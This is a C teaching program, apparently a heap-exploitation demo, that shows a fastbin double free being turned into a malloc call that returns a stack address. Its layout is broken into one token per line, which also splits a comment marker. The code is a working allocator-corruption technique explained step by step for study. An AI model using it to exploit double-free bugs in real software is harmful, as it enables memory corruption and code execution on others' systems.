int
main()
{
fprintf(stderr,
"This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n"
);
unsigned
long
long
stack_var;
fprintf(stderr,
"The address we want malloc() to return is %p.\n"
,
8
+
(char
*
)&stack_var);
fprintf(stderr,
"Allocating 3 buffers.\n"
);
int
*
a
=
malloc(
8
);
int
*
b
=
malloc(
8
);
int
*
c
=
malloc(
8
);
fprintf(stderr,
"1st malloc(8): %p\n"
, a);
fprintf(stderr,
"2nd malloc(8): %p\n"
, b);
fprintf(stderr,
"3rd malloc(8): %p\n"
, c);
fprintf(stderr,
"Freeing the first one...\n"
);
free(a);
fprintf(stderr,
"If we free %p again, things will crash because %p is at the top of the free list.\n"
, a, a);
/
/
free(a);
fprintf(stderr,
"So, instead, we'll free %p.\n"
, b);
free(b);
fprintf(stderr,
"Now, we can free %p again, since it's not the head of the free list.\n"
, a);
free(a);
fprintf(stderr,
"Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n"
, a, b, a, a);
unsigned
long
long
*
d
=
malloc(
8
);
fprintf(stderr,
"1st malloc(8): %p\n"
, d);
fprintf(stderr,
"2nd malloc(8): %p\n"
, malloc(
8
));
fprintf(stderr,
"Now the free list has [ %p ].\n"
, a);
fprintf(stderr,
"Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n"
, a);
stack_var
=
0x20
;
fprintf(stderr,
"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n"
, a);
*
d
=
(unsigned
long
long
) (((char
*
)&stack_var)
-
sizeof(d));
fprintf(stderr,
"3rd malloc(8): %p, putting the stack address on the free list\n"
, malloc(
8
));
fprintf(stderr,
"4th malloc(8): %p\n"
, malloc(
8
));
}